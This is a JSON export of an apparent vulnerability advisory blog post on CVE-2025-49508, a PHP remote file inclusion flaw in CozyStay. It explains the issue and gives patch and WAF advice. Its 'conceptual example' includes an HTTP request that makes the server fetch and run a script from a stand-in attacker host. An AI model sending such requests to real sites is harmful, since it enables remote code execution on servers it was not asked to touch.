{"id":55931,"date":"2025-06-29T12:30:40","date_gmt":"2025-06-29T12:30:40","guid":{"rendered":""},"modified":"2025-09-15T22:14:57","modified_gmt":"2025-09-16T04:14:57","slug":"cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean\/","title":{"rendered":"<strong>CVE-2025-49508: PHP Remote File Inclusion Vulnerability in CozyStay by LoftOcean<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>We are discussing an important PHP Remote File Inclusion vulnerability, identified as CVE-2025-49508, that has been discovered in CozyStay, a product of LoftOcean. This vulnerability has the potential to compromise systems and leak sensitive data, which is a serious threat to all users of CozyStay. Given the widespread use of PHP and the popularity of CozyStay, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54887-significant-security-vulnerability-in-jwe-ruby-encryption-implementation\/\"  data-wpil-monitor-id=\"82692\">vulnerability is of significant<\/a> concern. It is essential for users, developers, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62419\">system<\/a> administrators to understand this vulnerability and take necessary precautions to protect their systems and data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49508<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32878-critical-vulnerability-in-coros-pace-3-devices-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"63291\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-338808753\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>CozyStay | n\/a (Detailed version information not available)<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49282-high-severity-remote-file-inclusion-vulnerability-in-unfoldwp-magze\/\"  data-wpil-monitor-id=\"62302\">Remote File Inclusion vulnerability<\/a> arises from improper control of filename for include\/require statement in CozyStay&#8217;s PHP program. This allows an attacker to inject a path to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49454-critical-php-remote-file-inclusion-vulnerability-in-loftocean-tinysalt\/\"  data-wpil-monitor-id=\"62717\">remote file<\/a>, which the PHP interpreter will download and execute. This could enable an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49220-pre-authentication-remote-code-execution-in-trend-micro-apex-central\/\"  data-wpil-monitor-id=\"62546\">execute arbitrary PHP code<\/a>, potentially leading to full system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3257902955\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited. This is a hypothetical <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6162-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-http-post-request-handler\/\"  data-wpil-monitor-id=\"62295\">HTTP request that sends a malicious payload to a vulnerable<\/a> endpoint on the target server:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable\/page.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In the above example, `http:\/\/attacker.com\/malicious_script.txt` is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49212-trend-micro-endpoint-encryption-policyserver-pre-authentication-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"62581\">remote file containing malicious PHP code<\/a>. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49132-critical-arbitrary-code-execution-vulnerability-in-pterodactyl-game-server-management-panel\/\"  data-wpil-monitor-id=\"63290\">server would download and execute<\/a> this script, compromising the system.<\/p>\n<p><strong>How to Mitigate<\/strong><\/p>\n<p>To <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"62420\">mitigate the CVE-2025-49508 vulnerability<\/a>, it is recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can be configured to detect and block attempts to exploit <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49277-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogprise\/\"  data-wpil-monitor-id=\"62331\">PHP Remote File Inclusion vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview We are discussing an important PHP Remote File Inclusion vulnerability, identified as CVE-2025-49508, that has been discovered in CozyStay, a product of LoftOcean. This vulnerability has the potential to compromise systems and leak sensitive data, which is a serious threat to all users of CozyStay. Given the widespread use of PHP and the popularity [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55931","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55931","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55931"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55931\/revisions"}],"predecessor-version":[{"id":75232,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55931\/revisions\/75232"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55931"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55931"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55931"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55931"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55931"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55931"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55931"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55931"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55931"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}